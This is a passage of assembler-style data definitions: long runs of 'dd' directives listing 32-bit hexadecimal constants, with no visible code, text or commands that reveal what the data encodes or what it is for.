2AFC4FB2h, 9F8317D4h, 0FC033503h dd 75B380B1h, 2595BC0h, 12A8F78Dh, 2F41A713h, 0E09657C5h dd 50B4B796h, 0AE40B49Eh, 176E9C20h, 8A8664h, 7C15CA0Fh dd 73002439h, 55EDBF1Ah, 595F6CD2h, 0B0BCBC96h, 9E1FC9E6h dd 1D297DCh, 2B0F61F3h, 154B119Dh, 0E15A6656h, 5D7A50B8h dd 69DAA467h, 14C479C4h, 0E2892EB7h, 203AE149h, 7F7805E1h dd 0CC93BB00h, 0DCE35A9Ch, 1A96032Ah, 811611AEh, 3E20544Ah dd 26ACBEC5h, 7112FD6Ah, 6A0A315Bh, 0D30928Dh, 0D1945B16h dd 4DAB6DBh, 75BCBFF9h, 3E9D2004h, 0AC4D8E5h, 53D4D2FFh dd 12650B7Fh, 2FAB5C59h, 3C60F1EFh, 4B3F12Ch, 0B21E254Eh dd 804BBC50h, 98C6702h, 9CED00D9h, 0CC519D65h, 9A01077Ah dd 0A3AA0AF4h, 6170FAD7h, 131A9F5Bh, 70BD8D4Ch, 6102E9E3h dd 0AA960277h, 5ACD5E71h, 7D56B2CAh, 0F72A3651h, 66D4B0ABh dd 7BC6002Fh, 0D1B9C023h, 0F20ACF81h, 0DE3699B1h, 0E909C91Eh dd 979FE61Eh, 53717F1Dh, 4551F120h, 0FBBC9223h, 978E3EF2h dd 0E875BD92h, 3801028Eh, 1D080620h, 12847140h, 6492D4A5h dd 0E12F71F2h, 61FBDFE2h, 82181B59h, 731A4D00h, 45B1E130h dd 0CDDE4B8Ah, 25A77C6Dh, 3EBFC51Eh, 258D2D2Ah, 0AC44890Fh dd 51CDD84Bh, 443D95D0h dd 7E09BB2Bh, 0A23E8040h, 441FB73Ch, 9B6EFFFFh, 0CD548081h dd 407762DDh, 55351E6h, 0CAF6978Eh, 0AFDB6A0h, 4E88594Fh dd 0D9789Dh, 24AEF763h, 22FFD2EEh, 780BAA00h, 9ABF6215h dd 0A59D2F33h, 3102D6A9h, 0BAD518C5h, 1FB7556Fh, 4CDDC42Dh dd 0F4738D81h, 6F4297F5h, 29E58263h, 0B88169D4h, 0DCC23D8Fh dd 0F281C04h, 0D2B4BC44h, 9B5FB2E2h, 792C4D3h, 259DF7F4h dd 497B2705h, 0DBD2B82h, 4BAD5E14h, 501905D2h, 5B0C5320h dd 0B68D352Fh, 0D206E0C8h, 80500B87h, 52184405h, 2EE0FC6Dh dd 0B3CD284Bh, 4FE7202Eh, 6F00503Ch, 0B355D019h, 24A64452h dd 2E00FE6h, 6A5BCF6Dh, 0E278D75Bh, 147D027Ah, 5B882BAEh dd 46D6985Ch, 0BB61001Ch, 4B8A1EADh, 0F0D37401h, 63F617AEh dd 2937CC46h, 216B85ECh, 4B94D80Ch, 80FC80D9h, 45A47AD7h dd 0A2DF8102h, 5E5726BBh, 0CF806161h, 43282F71h, 0DD39D37h dd 9BF921D9h, 8FCE62Ah, 4B98Dh, 74BF5096h, 2377BC12h, 4614F8ECh dd 0C05959EDh, 38E5CC7h, 0D9CE9578h, 410AED95h, 0F6535A6Ch dd 184E1177h, 3EB494D8h, 0F800DC25h, 6D35F156h, 0E117E08Fh dd 7182DB81h, 44DE6F14h, 0FC26714h, 801A818Dh, 342FD4F7h dd 0E2E05242h, 0AF328822h, 5C009344h, 0EABC68A2h, 1D3D3Ch dd 6D1EC628h, 0CB23B46Ah, 0E63B6925h, 40369E15h, 31D1C6C5h dd 353DE400h, 0BC213E41h, 0D2707C6Dh, 0C002E220h, 0E9DBB70Fh dd 0E009979Fh, 7CCBBC4Dh, 97080FFh, 4AF781C5h, 3261DD05h dd 65FBC18Bh, 0FF84EEE8h, 29B82DABh, 8BC8A940h, 0EE280275h dd 1EC9D18Eh, 7474C65Dh, 0F2B05BFh, 3160504Dh, 40F27C94h dd 2ED5B29Fh, 25DEAB00h, 6052C1EEh, 7D9702BFh, 5E5378E7h dd 0D4CB3256h, 7195DC99h, 5BC5000Dh, 0F8FFD1ACh, 12475058h dd 24F606A9h, 0B38270A4h, 0AB01398Dh, 519526A3h, 0AD40F574h dd 951983E4h, 2D783DFBh, 0F9A0058Fh, 81BB4C8Ah, 2F26650Eh dd 19230C6Ah, 56352000h, 5AD6A6F4h, 0C53FE1F9h, 200C062Ch dd 4A9D010Dh, 0B3362ECh, 7043F3BFh, 0CF0C012Fh, 42CD02EDh dd 9DB874B3h, 6FE0C8CDh, 97943E6Ah, 83A307B5h, 88ED4D80h dd 0B4E9CFDDh, 65844027h, 0E40F7935h, 0E0310AC5h, 0F78A321Dh dd 855054Fh, 46FE882h, 0AF0C2DC5h, 40902E75h, 4AFF805Dh dd 7F6ED1h, 8D6EF7A3h, 0B5023A46h, 0ECEEC290h, 77015D7Ah dd 1ADD752Eh, 282F07A3h, 0F5886C05h, 0F8024E6Ah, 130D109Bh dd 0A2B0BE31h, 0F2EE4523h, 85CC00F9h, 696AE19h, 13180016h dd 74959BE5h, 0FFAA892Ch, 50037DFh, 0BBFB7BBEh, 1823496Bh dd 5D018B1Fh, 6EE9FFFDh, 10138E6Bh, 3F4883EEh, 0ED1D8D12h dd 3B26E88Fh, 15120BBBh, 1E2E322h, 505FF857h, 8B5FC0B3h dd 5CE15580h, 5995DE8Bh, 0AAED4BE7h, 66F49640h, 497812CFh dd 4DBEE636h, 0BCDD4A2Dh, 8031DA2Bh, 97356337h, 0BD890D07h dd 6A4D0569h, 2D1930C1h, 0A198A73Bh, 622E1135h, 0B0252B8Fh dd 41BF8800h, 0BF642925h, 2AA15640h, 7560E681h, 97C17F85h dd 58297D29h, 745745Ah, 0A9256538h, 795842A9h, 970766B5h dd 0F09E7A90h, 723942B8h, 4CCB9F5Eh, 3EB8147h, 5B21AC51h dd 8888A761h, 78271291h, 2B14415Bh, 2D415B54h, 61E8FC30h dd 0ADC82BD9h, 4440F41Ah, 81C28CD1h, 48E5EE07h, 0C3A0FDADh dd 9DF3DB6h, 0D0BC8E33h, 52DCF59h, 3D1F0518h, 2DB82356h dd 0AD958984h, 73562FA9h, 7BA19932h, 172EB85Fh, 5CD810Fh dd 0B6C722Bh, 88EFF525h, 0F709BBB6h, 0DD2C5EA7h, 0A560F21Ah dd 2A51859Dh, 4F482B30h, 75A245h, 54839CE3h, 15D734FFh dd 0AB2C701h, 11446338h, 2B40A5F5h, 459D0BFEh, 7DDCA0C9h dd 73A79095h, 3E087737h, 0A00B20Bh, 8F75F034h, 1302FBF8h dd 355DC9FEh, 0C2705CE1h, 60040BCCh, 0A41AE5B0h, 26A52DA8h dd 8B206BD9h, 7F1F6D6Bh, 31404B15h, 9A8212h, 4357C021h dd 0B9F99F49h, 0CF089D25h, 0BEF9400Fh, 0D35CCE78h, 7A110ECh dd 8A4DC34Ah, 997D3B97h, 827B2B56h, 82F07553h, 3DBFBA70h dd 844680E9h, 0A15F59EDh, 0E1175D71h, 158860D4h, 0C62C009Bh dd 301A782Ah, 0AD01982Eh, 0B959FC8Dh, 32E4C5F4h, 621E9761h dd 0E758109Fh, 5E6004Ch, 0BB4B74AAh, 132D21DFh, 82D97EFCh dd 18E59509h, 0D5933257h, 9C613890h, 2B3AD900h, 641B84A4h dd 7A5A139Dh, 7584A860h, 32397424h, 2F22D908h, 6D4B4F51h dd 700D4047h, 0DC264082h, 592D5891h, 41D4FA26h, 674C05DCh dd 0AF8C0F66h, 3900428Ah, 938B8494h, 0B70E7ADCh, 60D60656h dd 0A28EE117h, 1265B472h, 2543B205h, 1745C59Fh, 0C1CADE58h dd 4A6E2A64h, 1FCBC7F0h, 1E24DB81h, 4FC425B5h, 9C88BB04h dd 54B84B14h, 4DBD33C1h, 0BFAA062Ah, 0E1FF9B48h, 68432F96h dd 0E40EB8D2h, 33C0110h, 927DC0C7h, 46282E05h, 3B528931h dd 0CC092920h, 0A3AF0112h, 0AC205E8Ah, 8F79F8E4h, 0BB5B3C01h dd 7C563BCBh, 255B282Eh, 9F8D8988h, 0BF6666A0h, 14979AE8h dd 9CD85563h, 0D154B56Ch, 0DCFCB460h, 0AD4AE102h, 5C427B77h dd 60932455h, 9798287Fh, 803EF03Fh, 25C354A7h, 71129031h dd 25D2F4EBh, 67C27ECBh, 9DCFED6h, 0CD7B983Ch, 0F9705972h dd 0D0EE5395h, 0D30A54F7h, 0A00B53EFh, 51939709h, 5B5CA596h dd 36B8FAC4h, 38090CBh, 0B8666050h, 0E4E90C7Dh, 3BFB61F1h dd 7F6A0782h, 0A5E0824Dh, 0FE3F8D91h, 0D2F62489h, 0C6D0842h dd 85D86803h, 3ABA5C8h, 0D786279Dh, 88F0F9DCh, 0AD594B8Ah dd 595FFBAFh, 24C51816h, 923C678Ch, 3F1B72Ch, 39E9DC8Ah dd 7E6E8502h, 6E840901h, 219030BCh, 819830F1h, 762583B9h dd 3C5925B6h, 0D4D1DC69h, 62A9A33Eh, 369CCh, 33D19D23h dd 0A144C595h, 34FF865h, 2ABC2802h, 5CEF6F76h, 3186905h dd 0F50014F2h, 8380DECCh, 9A15158h, 5841E9Fh, 0DFA80C71h dd 5FDBFABDh, 0F0D7E689h, 2D30D94h, 10296676h, 467DD98Bh dd 0E058BDDDh, 1A9D264Bh, 0BCC0AA38h, 21A2977Ah, 0D15B7800h dd 0B767D38Ch, 61FC253Dh, 377505C2h, 0BB532F55h, 0DC19613h dd 5FD65BDFh, 0B5FC619Ah, 0D31501DEh, 544B8F5Eh, 1AF5FAC7h dd 27E15480h, 0E8D82EFBh, 0B8B627C4h, 0F4C6F410h, 0AE64D600h dd 35939FBh, 75E200D2h, 0FA23D5F9h, 491E1A83h, 0B8C9A768h dd 545964h, 0EC24D470h, 7E003653h, 0FEA60C20h, 3D7117E6h dd 9005265Ah, 0E051E979h, 69A5FCAh, 0A7E1580Bh, 0C211ED64h dd 0C0566F73h, 0F19D2961h, 900D096Bh, 0AA00B171h, 0E781757Ah dd 0ABC30072h, 38CC6F5Dh, 29255445h, 772FC606h, 65F1BD5Fh dd 5C8D1DB2h, 8C446975h, 0EB171000h, 0A8AF51FEh, 60DA70FAh dd 8190485Fh, 47121DC7h, 0C7B60B96h, 12A1BD08h, 16DE6BA4h dd 0B84609A3h, 51F16976h, 0ACFC64E6h, 842AA310h, 2DE899EDh dd 80046FF8h, 1FE9F92Ah, 0DE84D7ACh, 0EBD8ACF5h, 0DD9D8981h dd 8916A15h, 8E6B12BDh, 8FAD2A4Eh, 0A5A0B329h, 9F1F9E66h dd 2B70955Bh, 0E09A255Bh, 1C599453h, 1F00DC18h, 0E58F1852h dd 9FB5D5Fh, 383CBB66h, 17ACD159h, 509C2A09h, 0CCBDBFFBh dd 0B6ECD980h, 250DC5BFh, 357342BCh, 269D8D04h, 70068DAAh dd 67BE1C48h, 79DD92EDh, 85E9D82Ah, 65192125h, 646DAF50h dd 0C01C3340h, 15992D38h, 9AC11A90h, 8791AE3Eh, 0D3C5A67h dd 5EACF5D4h, 7CE5A2D2h, 80566B3Bh, 75C5B161h, 39276C42h dd 9680CB21h dd 6032849Dh, 0CE28B70Fh, 9959D61h, 9EBD5D7Bh, 47F8AC13h dd 0CDBD0D12h, 50303EB5h, 4AD58D01h, 6D7CC912h, 0E67AB9A5h dd 88C25A06h, 2050202Ah, 8409F381h, 5B76A314h, 0F24DA7A3h dd 5637BB42h, 81606094h, 2A16FAE3h, 58AB45CEh, 0BD035C5Eh dd 0C520C124h, 26FD12BBh, 5F601F38h, 89CA6A8h, 180A8D9Dh dd 888A2296h, 5BDA0BBFh, 0FCA63F45h, 8459129Fh, 0AA9EA834h dd 6552DE1Fh, 54C0125Fh, 31FBA577h, 4A7E7CD0h, 2292CA2Eh dd 0FB3CA132h, 0F2BAB32Ah, 0A7F53219h, 7159C20Ah, 2D8A016Dh dd 6B3A3745h, 31D0BDDAh, 4FAF4EC1h, 2916D97Dh, 89AA92F4h dd 10A27FB7h, 0C8BA9A4Ah, 9BD3C91Bh, 0FCF78084h, 0EBB0B5CAh dd 0EFF8752Fh, 2E63DA03h, 0C140BFC9h, 122B7BD5h, 0C0559EA9h dd 8BDA7DB8h, 31F804FBh, 0AB22F18Dh, 8945EF38h, 9442F68Bh dd 8919BAFFh, 8AFDEA6h, 0C6162311h, 1EE85CF9h, 5A376500h dd 51FB46ACh, 0D960CBE2h, 16419B50h, 72E02D2Ah, 0EF5C00C1h dd 0FF6CFA22h, 0D82600DCh, 48E619CDh, 0F47B65E9h, 515A60F9h dd 0CBC2854Ah, 18C53084h, 6114448Fh, 0CC7E9078h, 4B95521Eh dd 51619202h, 6552ADDAh, 0A319D10h, 7D38180h, 5A7899FDh dd 3596695h, 0F936D48Ah, 0A8168250h, 12EA9257h, 4AFBA274h dd 37EF5085h, 788D8376h, 0AB7544A0h, 0BB907F01h, 16659B55h dd 0BFBA423Fh, 84D50753h, 0A7AE8822h, 684C01FAh, 0A6BA44B6h dd 6E4A3E29h, 79E70068h, 0F0A31DC6h, 667B948Ah, 0FB18FA66h dd 0CB0F6A0Eh, 0B62277D6h, 0AE7DDE91h, 0D94D5B00h, 819AE2A9h dd 0C2F6A3DEh, 256CF22Dh, 735B2611h, 7BF16EAFh, 39BA9565h dd 195D04FDh, 0F63C35ABh, 76ACA278h, 0E9BD0F3Eh, 0E331ACD2h dd 0B6304AB3h, 0B5A5F0B4h, 4B020E8Bh, 0E6926AF9h, 0F010E0B3h dd 0BDBB3ED1h, 5B122082h, 487F8529h, 2DB790C7h, 0CDD6503Ah dd 0AD8A1041h, 0B74063EDh, 0B0AAABBh, 905F70C0h, 5DC4C54h dd 8671AB77h, 411DF060h, 0CC2A2341h, 0DC9C6190h, 0C9975469h dd 5060E2B0h, 0E6003090h, 0BE5A03E4h, 931286Dh, 0CDE96167h dd 0F2734C56h, 0E3800192h, 4C806BE0h, 9DF93F70h, 17598053h dd 0E4091E18h, 7F8B3220h, 8D897310h, 540D1125h, 8B35EB7Dh dd 258C4D94h, 257A65F8h, 0EF40484Dh, 5886E3E4h, 9112204Fh dd 0A43CAC03h, 84BDDBEAh, 6BABB706h, 0F1B2354h, 0AB20E959h dd 5C8031B5h, 0D98D290Ch, 95FF5318h, 0CE4F8710h, 0EE00B87Eh dd 0F4673A6Dh, 1D2B2601h, 0EE1AF40h, 4C10F1BDh, 104B76EBh dd 0DC837ADEh, 0A1D18EA6h, 0B9622B57h, 0F718DDFCh, 0B070131Dh dd 8277D99Dh, 0A2DBD03h, 6070E602h, 12C6B8D7h, 0B4FC71E4h dd 2FC9D8B9h, 4AB258F5h, 0B5E523BAh, 89091D92h, 29388E7Dh dd 8E9B5916h, 0D3106DBDh, 2401BC04h, 0BFC82B04h, 0D1D9B1CDh dd 0F37B2821h, 0F55650E4h, 0CACACE95h, 133DE546h, 849BF85h dd 739FAC56h, 3264B55Bh, 0A5112121h, 58CC874Bh, 891A6166h dd 182145Fh, 0F1822904h, 0E6D522AAh, 0A9BCC406h, 0DE62AA0Ah dd 0A52A2F40h, 88FE1615h, 0DC009A37h, 0A8084BB3h, 0F24AFDDh dd 6539EF19h, 0D1177007h, 634C8C3Ch, 50007D92h, 3180BCDEh dd 985FFE8Ah, 7B95516Ah, 182D8889h, 5750FA54h, 0CD048216h dd 0FC6A495Dh, 82C960CFh, 4D0B2EDFh, 0DA59EEh, 8451C510h dd 11E73CF6h, 169F5A24h, 0E570EB5Bh, 5B36B9FEh, 800B9E08h dd 273A2D71h, 79072DEFh, 0F46BE511h, 583D1646h, 0AC7683AAh dd 0D8E17062h, 744F57Ch, 1B8DD33h, 0AC0C74BDh, 0C649C8Dh dd 648B15B7h, 4A969DFBh, 0D7E8DA09h, 7FE96AE9h, 0CDE0754Dh dd 12D22BDCh, 0A9B9DB80h, 93FDB4DDh, 1FAFCA8h, 0A7AFD604h dd 65813BBBh, 0F76B06C9h, 737A7AEh, 85236040h, 98284BE1h dd 0EF0001BDh, 94290271h, 330D74h, 5BB98AB4h, 9284FDE0h dd 9914A609h, 0BFC85861h, 2E4096CFh, 2FB169D1h, 0D45B3EDDh dd 2C191B59h, 0AD78C004h, 4E5B5751h, 0D77EA95Fh, 9DA879FDh dd 84EA9595h, 0AC75BD33h, 0AC8A4A5Bh, 0FCB46D2Eh, 0FA973170h dd 9D0B13DDh, 3770AAEDh, 5A35B589h, 5022B717h, 0FB97B1FBh dd 464D27E7h, 7A625E40h, 5F2616FDh, 0DF270314h, 8043506h dd 6C4BA87Bh, 0D5A7C1ACh, 0D606DE04h, 24356B0h, 0A2D8BF64h dd 0CC56304Bh, 0FF04FA53h, 420204BDh, 546A264Eh, 0AC161673h dd 2BFCE23Ch, 16DC5574h, 0BC5FE20Ch, 0B060275Bh, 0BDDD9520h dd 8C2D7D52h, 704353D9h, 0E212212Ch, 0F4B11662h, 36F10B26h dd 11606C4Dh, 9D160A55h, 2A93E1D5h, 52AFFF53h, 0BB6BFE92h dd 31001823h, 0BF74BEDDh, 0BB6702B3h, 4DA9524Ah, 0DC27F956h dd 0EB09F6DDh, 0F929E8ECh, 79618186h, 0ECA3BD68h, 0D7F0808Ch dd 2C26381Eh, 0F24A7151h, 0F7800F07h, 0B9926345h, 8B865893h dd 43E5DA00h, 0D11E1768h, 4F54805Ch, 81DFCB31h, 0E5E84880h dd 0AFB37F4Dh, 0E125CC90h, 0A406C521h, 0AB02D604h, 4D91E5C1h dd 4B035C27h, 56801CB7h, 17E03532h, 1E912FBh, 99099102h dd 0F92D2B2Dh, 4AC1E35Ah, 0D0B20722h, 9B09EB81h, 59790285h dd 45096F5h, 72755D9h, 0A97E295Fh, 0E0E5542Eh, 792FBB60h dd 0B966EC00h, 3E2CAFB2h, 0AA9C8C61h, 663D5CDCh, 466DA13h dd 0EF896E35h, 65C035DBh, 54D9AE12h, 53C18D4Bh, 6E60075Ah dd 950DB2A5h, 4D25C565h, 15DB407Ch, 190D363h, 0ADBCF95Eh dd 670DA89h, 0D3BE7AC0h, 1FE880E4h, 0D29661E1h, 7424AEFAh dd 7380E4E8h, 0B5ACFF7Ch, 31F78C1Fh, 0D672EA8Bh, 565C2F1Eh dd 87AB5569h, 7141A7DEh, 0D4706E0Dh, 614F60h, 8D8996DCh dd 0BA952665h, 3BEDC6F1h, 841F89A4h, 27750058h, 70A1C890h dd 0DC209625h, 846841C4h, 924FF9E2h, 0B7B0D8DAh, 8FE13D7Bh dd 0AED7666Bh, 6F85AB3Eh, 83B8C08Bh, 0F401AC50h, 41DAC5B4h dd 0C83A3152h, 0C4BD5BFDh, 0E8F94086h, 3430860h, 0C5B701Ch dd 0F2E6B329h, 87AAD924h, 0E2C6D7h, 9675B1F1h, 11EAEB13h dd 0B8C65A14h, 0BFF90E9Ch, 0CE564157h, 9E73F2Fh, 7EC78070h dd 9116B57Fh, 0D5E08019h, 5AD75094h, 0C0E7AC61h, 11D81A10h dd 1D042418h, 4EFD12B4h, 0B63761C1h, 0F156E315h, 4C2054D6h dd 0CF094AFDh, 9D1274EBh, 39AA1869h, 5E0E6C73h, 39BCC2EDh dd 2C003472h, 83BDDDCh, 0BF37E938h, 0CF6529EFh, 0A5623BABh dd 0EEA099A6h, 0DC7FD02Ah, 82C18839h, 87CACCCFh, 12B5FE47h dd 842DE309h, 7ABA0419h, 0FEE00226h, 42FB8E78h, 1400D796h dd 9D297AEAh, 0D0A6D24h, 67A4DF79h, 4F78DECEh, 6960F00Dh dd 0E149C232h, 417F40E6h, 0B7D19703h, 0F8DB044Bh, 78D143B8h dd 3E00A7ACh, 0C2E340CFh, 259531E8h, 12CD17E9h, 31601DE4h dd 7E0121B0h, 6240C8F9h, 0A940753Ch, 25BFD8E7h, 0B85679B7h dd 0FCA4EDE5h, 0A8EA09BFh, 0C1501E95h, 3DC9FB4h, 0F1A579D4h dd 0F0C51BB3h, 0A4AC5FAEh, 0F19D3309h, 0E80F560Bh, 7059497Fh dd 1F11A901h, 0FF0D271h, 57F63DB4h, 51602D46h, 3D46B272h dd 9A2A8AFh, 2A54C585h, 9C76DC4Bh, 6FC66561h, 410829A1h dd 11028C06h, 47398FB3h, 0A826EDD2h, 284D0098h, 93B6A156h dd 524CD559h, 4FD74C8Ch, 4C24C45h, 6FE03EF6h, 0DB0008A4h dd 37607E76h, 12FCD7EFh, 0E197CF80h, 2EEBD97Dh, 0D0397A29h dd 20F63EA9h, 807FCC4Ah, 0CFA8D32Fh, 0EAE240DEh, 0CF0236A2h dd 2FBEC6C8h, 6591828Eh, 52965C09h, 2C7E4D40h, 544D5995h dd 8B857197h, 114450F8h dd 0FEDB1007h, 5F99C2C1h, 0F1159180h, 5D49933Ah, 9D137390h dd 60EE16C5h, 0B37AA099h, 1F75C0FDh, 27DB539h, 0C0BB7ED3h dd 116493E1h, 4A2AEDE0h, 0A3AEAFC4h, 3F9B00AFh, 57D5F50Fh dd 0FEFF0F3Eh, 37F7EB1Dh, 0F62770A0h, 0E712C7F0h, 20AB1028h dd 0CDABE6Bh, 5E864009h, 0C16BF65Fh, 423DD9Dh, 36A2C7ACh dd 0FEF96022h, 98BB060Fh, 0CDB7F5F6h, 0ACD8C1BAh, 1E6970BCh dd 2B1140Dh, 526F86E9h, 0B4CBB646h, 0A2BB3134h, 1BE8926Dh dd 0A432392Bh, 11590941h, 9D069655h, 843E23B5h, 0A427B90Eh dd 2542C1EAh, 0B5030126h, 953864DAh, 636B7C94h, 39375F44h dd 0FA6AD380h, 74CD4CE4h, 1DE12565h, 35555D89h, 801D911Dh dd 0CC99D13Eh, 0E47AFB82h, 8D5B3105h, 0C0B0A552h, 3BF0951h dd 6189DDC1h, 0CC49A59h, 0CA9BE440h, 180076FDh, 0E8E54E73h dd 4AE94268h, 7F88B167h, 82013D6Eh, 0E5C9D663h, 55C92B29h dd 213E72Ah, 0A3FA43F2h, 693B4127h, 605B8E52h, 2FA2EC24h dd 0F96076B9h, 564A51D8h, 0E25BD4F0h, 9D2CB6E9h, 5CC84ED5h dd 0E9E80114h, 92002A4Bh, 0D1A41472h, 6FDF0062h, 0AC1C9986h dd 0D6005AC9h, 22A08F66h, 0C4E3B2h, 0FE6ECCC7h, 37A70817h dd 73D15E00h, 3EBD7203h, 9C270ECEh, 52A013B2h, 0ECAD169Fh dd 1EEA504Eh, 80F080E3h, 0FC25A0BEh, 1086F200h, 0B1BCAE7Fh dd 91010082h, 0BF2F8CA5h, 70C6A77h, 29FA1FA6h, 9FB01E81h dd 2DA0C197h, 20A9199Ah, 0E9795C03h, 7A4B25C0h, 21A390h dd 0F5A8ADB1h, 55BC581Eh, 32412909h, 5E0D7FDh, 0F1072595h dd 8B3CA312h, 0B7A5B9F0h, 83C5300Ch, 449FA84Ah, 0F0E39800h dd 2AC0EF24h, 57D4014Bh, 0BFF767CBh, 0C55F4CEh, 0EF30C360h dd 30C5F1DEh, 52131E3Eh, 943382F2h, 1F6DAA9Fh, 87B02098h dd 0E3CAC3h, 18319C1Dh, 0A84B9502h, 0A5701B97h, 9941EFCDh dd 5ACA2A87h, 0D8FF368Ch, 42721CE7h, 1160A930h, 607A490Bh dd 5160F57h, 4A070D2Ah, 1F95D998h, 903FE0AFh, 0C44234B9h dd 4012BC6Ah, 3059ECF2h, 0B9B5C0D6h, 71BF60E8h, 828A363Bh dd 0C52469D1h, 0F1B86055h, 9FBD3C81h, 806FFDB0h, 5100BBAFh dd 4670E060h, 0E9C43AAh, 8856C62Bh, 6254C480h, 0EE167D6Dh dd 0A809C241h, 0BE4BDD75h, 82387ED9h, 87F77456h, 10FA758Ch dd 0EF03AA00h, 37D343C2h, 107838FAh, 7ABDF580h, 0E78EA139h dd 4BBB381Ch, 67D75640h, 0C5ED92Fh, 607FDA6Fh, 7344E5EAh dd 7E3BA0C1h, 78BE0059h, 11AF8A2Dh, 3D01B879h, 0CE55C9CDh dd 29F0E8DFh, 477309Ah, 0A25F6E4h, 9B2A340Ch, 7F51576h dd 0F8274624h, 170CE07Ah, 93F62191h, 98B11C00h, 97A91245h dd 816264ABh, 0E522377Fh, 3FA1A0BCh, 8F7C6Eh, 0FC79BD2Dh dd 70992C32h, 2AFB1FC0h, 2A665940h, 3A7278Ch, 0F97CDA75h dd 6FF09E65h, 9BA08E7Bh, 0D6A853D9h, 0CB4C2889h, 0D2710C12h dd 36E4D8Fh, 9E98725Dh, 1500F717h, 0BA2E27F3h, 0AB0B2Dh dd 69503ADDh, 0FA66D376h, 1EEA1A0h, 24CA88h, 4EBE3DC9h dd 0C47F5D61h, 60499D60h, 0C1A2E75Eh, 5778490Fh, 2BAC3BB3h dd 0F1980071h, 3CAC09BEh, 43FC1122h, 0DECCA700h, 71D4EA1Ah dd 9BFC09D5h, 15AA6816h, 0F9748036h, 9D92E189h, 82AE1E3Fh dd 93F8C60Dh, 11707716h, 789CF748h, 66101D60h, 213D0FFh dd 18DA05B4h, 0FF43991Bh, 0E854D0D4h, 0F92469CBh, 0E900EABDh dd 71C1A8Ah, 9F1A0A4h, 0FE3800A8h, 0B6AB6901h, 0D500C131h dd 0C6F060DCh, 0FEE5D841h, 3BA2260Bh, 0CBD68055h, 9DBD245Eh dd 9759E62Ah, 40EBC24Eh, 3F4AFC68h, 2C4C375Bh, 91E10D76h dd 1BE1EC2Fh, 0A506C4h, 0D9FE6035h, 2B49F0A2h, 0D0BA8409h dd 2DAB2063h, 585ECEh, 4076E64Bh, 3462D233h, 8A35BC09h dd 0C766DD59h, 3ADB5E19h, 927B6190h, 587735CAh, 5467E459h dd 18C9D422h, 44C12F8h, 0DB5FE20Bh, 0A03952BCh, 2463DCBCh dd 0C1B18E9Fh, 901080B8h, 0C23F4E1h, 24AE0182h, 458C3707h dd 281C80BAh, 72437317h, 98C13044h, 0E757D617h, 40C2AF00h dd 0E34AE6D0h, 26B9F2FCh, 24726B52h, 95BC8C76h, 47095833h dd 834CEDA3h, 0B7E8376h, 969B1018h, 0D2C65501h, 23D847C1h dd 1F034891h, 1C886233h, 12F50197h, 531A121h, 4FBAF408h dd 0B790DEE6h, 0B4921678h, 9C06191Eh, 931B2401h, 1320F691h dd 6BE80034h, 372C6A45h, 50B144B4h, 0A0FC1E84h, 15844080h dd 9E1D00AAh, 9F5F472Eh, 0F4094F6Fh, 89B5C6FBh, 64FC0FBBh dd 38C02E92h, 9226E387h, 0F0533FD0h, 1CA80684h, 6D868054h dd 0B0031F86h, 94AADA9Eh, 0E83191CAh, 329C25B1h, 8E0F80EFh dd 0CDF892BDh, 7F6677D2h, 364001Ah, 0B5A2BC93h, 753C08D6h dd 85ACD80h, 2CED9h, 4A145F0Bh, 4D015C0Dh, 6A2953EFh, 58229C80h dd 924F4000h, 3D0E16A0h, 1E13F91Fh, 0CD3E2CC0h, 0F3066Eh dd 773BB2B6h, 0ACA9B59Ah, 6539C000h, 0A54523AEh, 0DA5900C6h dd 0DD5F546Ah, 0B6EA296Dh, 8CFD7807h, 0BF90415Ah, 428538h dd 6FC451C1h, 899A9C0Ch, 7FB72715h, 5BD8C0ABh, 3E1ABEBh dd 87E975D0h, 82EC1F17h, 8B7239D0h, 0B94F6F62h, 0A9597781h dd 0FC685E76h, 2BEA4E8Fh, 0A6680CA8h, 0F33C2F53h, 0A0EAC6E1h dd 7CB8501Fh, 0C03001Ch, 59354840h, 65007E0Fh, 508E8C1h dd 0E9B0233Bh, 1387AC3Bh, 6B0F7A79h, 7F70A5Fh, 0F6685803h dd 0B6EE842Fh, 575A17A4h, 55DEEEC0h, 8F4C0E66h, 0BDCA0842h dd 0F2F92009h, 948B605Dh, 81E68956h, 86AC651h, 86C68706h dd 1F08FF5Ch, 83C4835Fh, 0FBD8E8E9h, 2F82F9D8h, 93F0E205h dd 20A2BCD3h, 0A4DBB804h, 99B4EE19h, 0D07A1C66h, 0CE994032h dd 3EAA253Ch, 4200CAE6h, 90C77CB1h, 0EE12D22h, 1E7D64CFh dd 566059EEh, 8F661185h, 45EAF400h, 15FA55D3h, 27AA0078h dd 17AC0D3Ah, 0AF01EF64h, 0BAD4AA1h, 6AD461FCh, 12400D5h dd 0DC4426D6h, 7570FF40h, 6DA14D07h, 18D0F7CEh, 0F6C82Bh dd 0AEB26811h, 5ADEAF5Fh, 9F791F00h, 0BABE7A57h, 0F813070Fh dd 156EF4Bh, 6A418021h, 0D989922Ah, 855CA47Dh, 90DCD3BBh dd 88FEBBD0h, 5C60F99Ch, 187425Eh, 1F36B40h, 3E688BABh dd 9E90BCB0h, 603FDC6Ch, 0F0DF00A2h, 0C21EB576h, 8D290815h dd 91D06F1h, 5D33B18Bh, 6C614999h, 0AFB0922Fh, 854750C7h dd 0F7A75075h, 84DA9DF9h, 1044FDF4h, 0BABF4BB7h, 0FF003D7Ah dd 0EBCC906Bh, 852F295Dh, 0BFB5F2B1h, 8D2FFFF3h, 0EF3C0A2Fh dd 8F68D84Fh, 80E5B7h, 2908D241h, 0F395BE32h, 0C1CDA5D4h dd 2A604743h, 0BE7BD94h, 17C98D8Bh, 68D1D969h, 67421611h dd 5F8972A2h, 1CD8EED3h, 26A2F40h, 5D69AA56h, 727EAC0Bh dd 0D4C8432Dh, 75BD2941h, 0EA9B7B16h, 83C017C8h, 0B9C19F3h dd 1E95F56h, 7FC21E51h, 8D0F03A7h, 0E273EEA4h, 0FFB48886h dd 5A9B0054h, 52662108h, 89153B79h, 2DA3298Dh, 0F65AC65Bh dd 0A2615595h, 0B940743Fh, 0FABFA82Dh, 0DD6EC59Ah, 0B798AF1Dh dd 16F572BEh, 4B37DCh, 0EF2D6497h, 8D04A54Dh, 50A8750Bh dd 4CF09EEh, 80CB37F7h, 2ECA724Ch, 0BC276912h, 306E115h dd 0BC9BAE05h, 4F301B89h, 0B203B0CCh, 0E3207BCDh, 0EDEA10E2h dd 9D1B5018h, 648E265Ah, 0A2ABB64Bh, 2D5A781Fh, 684CFE8Ah dd 80A178EFh, 37877FB4h, 